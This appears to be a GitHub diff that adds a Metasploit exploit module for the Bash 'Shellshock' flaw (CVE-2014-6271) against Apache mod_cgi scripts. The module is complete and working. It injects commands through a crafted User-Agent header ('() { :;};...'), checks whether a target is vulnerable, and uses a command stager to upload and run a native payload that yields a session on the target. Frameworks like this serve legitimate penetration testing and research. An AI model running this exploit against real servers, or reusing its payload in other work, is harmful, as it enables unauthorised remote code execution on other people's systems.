|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Exploit::Remote |
| 9 | + Rank = GoodRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a code injection in specially crafted environment |
| 19 | + variables in Bash, specifically targeting Apache mod_cgi scripts through |
| 20 | + the HTTP_USER_AGENT variable. |
| 21 | + }, |
| 22 | + 'Author' => [ |
| 23 | + 'Stephane Chazelas', # Vulnerability discovery |
| 24 | + 'wvu', # Original Metasploit aux module |
| 25 | + 'juan vazquez' # Allow wvu's module to get native sessions |
| 26 | + ], |
| 27 | + 'References' => [ |
| 28 | + ['CVE', '2014-6271'], |
| 29 | + ['URL', 'https://access.redhat.com/articles/1200223'], |
| 30 | + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] |
| 31 | + ], |
| 32 | + 'Payload' => |
| 33 | + { |
| 34 | + 'DisableNops' => true, |
| 35 | + 'Space' => 2048 |
| 36 | + }, |
| 37 | + 'Targets' => |
| 38 | + [ |
| 39 | + [ 'Linux x86', |
| 40 | + { |
| 41 | + 'Platform' => 'linux', |
| 42 | + 'Arch' => ARCH_X86, |
| 43 | + 'CmdStagerFlavor' => [ :echo, :printf ] |
| 44 | + } |
| 45 | + ], |
| 46 | + [ 'Linux x86_64', |
| 47 | + { |
| 48 | + 'Platform' => 'linux', |
| 49 | + 'Arch' => ARCH_X86_64, |
| 50 | + 'CmdStagerFlavor' => [ :echo, :printf ] |
| 51 | + } |
| 52 | + ] |
| 53 | + ], |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'DisclosureDate' => 'Sep 24 2014', |
| 56 | + 'License' => MSF_LICENSE |
| 57 | + )) |
| 58 | + |
| 59 | + register_options([ |
| 60 | + OptString.new('TARGETURI', [true, 'Path to CGI script']), |
| 61 | + OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]), |
| 62 | + OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]), |
| 63 | + OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']), |
| 64 | + OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]) |
| 65 | + ], self.class) |
| 66 | + end |
| 67 | + |
| 68 | + def check |
| 69 | + res = req("echo #{marker}") |
| 70 | + |
| 71 | + if res && res.body.include?(marker * 3) |
| 72 | + Exploit::CheckCode::Vulnerable |
| 73 | + else |
| 74 | + Exploit::CheckCode::Safe |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | + def exploit |
| 79 | + # Cannot use generic/shell_reverse_tcp inside an elf |
| 80 | + # Checking before proceeds |
| 81 | + if generate_payload_exe.blank? |
| 82 | + fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") |
| 83 | + end |
| 84 | + |
| 85 | + execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true) |
| 86 | + |
| 87 | + # A last chance after the cmdstager |
| 88 | + # Trying to make it generic |
| 89 | + unless session_created? |
| 90 | + req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}") |
| 91 | + end |
| 92 | + end |
| 93 | + |
| 94 | + def execute_command(cmd, opts) |
| 95 | + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") |
| 96 | + |
| 97 | + req(cmd) |
| 98 | + end |
| 99 | + |
| 100 | + def req(cmd) |
| 101 | + send_request_cgi( |
| 102 | + { |
| 103 | + 'method' => datastore['METHOD'], |
| 104 | + 'uri' => normalize_uri(target_uri.path.to_s), |
| 105 | + 'agent' => "() { :;};echo #{marker}$(#{cmd})#{marker}" |
| 106 | + }, datastore['TIMEOUT']) |
| 107 | + end |
| 108 | + |
| 109 | + def marker |
| 110 | + @marker ||= rand_text_alphanumeric(rand(42) + 1) |
| 111 | + end |
| 112 | +end |
0 commit comments